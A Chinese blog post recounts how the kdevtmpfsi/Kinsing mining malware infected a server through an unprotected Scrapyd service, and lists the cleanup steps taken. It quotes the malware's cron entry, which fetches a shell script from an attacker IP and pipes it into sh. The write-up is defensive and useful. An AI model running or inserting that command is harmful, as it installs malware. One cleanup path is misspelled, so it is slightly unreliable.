天天看点

kdevtmpfsi 病毒感染及处理办法发现病毒解决病毒后记

发现病毒

今天在家里,写完爬虫部署到远程服务器上后,正想运行时,发现 ScrapydWeb 上多了一条奇怪的记录,我从来没有写过这个爬虫呀:

kdevtmpfsi 病毒感染及处理办法发现病毒解决病毒后记

好家伙,项目名称居然就是

evil

,生怕我不知道这个是一只“邪恶”的爬虫吗?我得赶紧把它揪出来清理掉。

仔细看这只“邪恶”的爬虫,发现有一条比较关键的信息,就是下面的

* * * * * wget -q -O - http://195.3.146.118/sc.sh | sh > /dev/null 2>&1

,很明显,这是一条 crontab 语句。

kdevtmpfsi 病毒感染及处理办法发现病毒解决病毒后记

在命令行里输入

crontab -l

,果不其然,是有这个定时任务的。

195.3.146.118/sc.sh

为关键字搜索了一下,在这个帖子《Cannot stop Kinsing malware from creating cronjob》里发现有人在 3 个月前提了相关的问题,并解释说是因为 Scrapyd 被挖矿病毒 Kdevtmpfsi 感染了。

恰好我在前几天部署了 Scrapyd 应用,并暴露了相关端口到公网上。

为了验证这个猜想,我登陆了宝塔面板,查看服务器这段时间的负载情况,发现从10月14日的凌晨起,CPU 和 内存占用都开始暴增,符合挖矿的特征(使用 GPU/CPU 进行大量的 hash 计算,占用大量内存存储中间结果)。

kdevtmpfsi 病毒感染及处理办法发现病毒解决病毒后记

看上去,这个病毒是在我部署 scrapyd 后的 2 个小时左右感染上我的电脑的(在此之前我已经有好几天没有在服务器上有任何操作,在时间上,病毒感染行为和我的 scrapyd 部署行为具有很强的相关性),并且在感染后起了吃掉我大量的 CPU 和内存来挖矿,但除此之外貌似没有其他影响,我的文件和其他服务都是正常的。

摸清楚对手的底细后,就可以对症下药了。

解决病毒

很容易地在网上找到 Kdevtmpfsi 挖矿病毒的解决办法,也发现了这个病毒的主要感染方式是 扫描所有端口,找到那些没有设置密码且暴露了端口的服务(已知的有 Scrapyd 、Redis 、Docker 等),并进行攻击。

这里我整理一下解决的步骤:

  1. 先去相应的云服务商那里修改安全组,暂时关闭所有相关服务的端口,防止病毒重新感染。
  2. 依次杀掉 kinsing 和 kdevtmpfsi 对应的进程(kinsing 是 kdevtmpfsi 病毒的守护进程)。
ps -aux | grep kinsing
ps -aux | grep kdevtmpfsi
kill -9 病毒PID
           
  1. 删除 kdevtmfsi 病毒的脚本
rm -f /tmp/kdevtmfsi
           
  1. 检查 crontab ,如果发现有这条

    * * * * * wget -q -O - http://195.3.146.118/sc.sh | sh > /dev/null 2>&1

    ,就删掉。
crontab -l  # 打印所有定时任务
crontab -e  # 编辑定时任务
           
  1. 给那些没有设置密码且暴露了端口的服务,设置相应的密码,并重启。Scrapyd 服务设置密码的方法见我的其他文章。
  2. 如果业务需要,就开放回相应的端口,恢复服务。

后记

说实话,这个病毒还算是有良心的,并没有用什么高深的方式来藏匿自己,只是简单地通过我未加密的接口,占用我的服务器资源来挖矿赚钱 23333。

kdevtmpfsi 病毒感染及处理办法发现病毒解决病毒后记

(我只不过是失去了计算资源,而病毒创作者可是失去了钱啊)

话说回来,这件事说大不大,说小不小,但也给了我几点感触。

  1. 计算能力=资源=钱,有利益的地方就有博弈,不要以为自己的破电脑/服务器没人惦记。同样地,数据=钱,爬虫与反爬虫的博弈也是永无止境的。
  2. 谨慎对待开源框架。我自认为平时算是很小心了,但还是因为用了 Scrapyd 框架才导致服务器被感染,说明病毒开发者也肯定是仔细研究过这个框架了。巴菲特说过,不要投资你不了解的东西。其实无论干什么,道理都是相通的,知其然知其所以然是很重要的。回过头来,当不得不用开源框架的时候,也要做好安全措施,比如外面用 nginx 做代理再套个用户认证。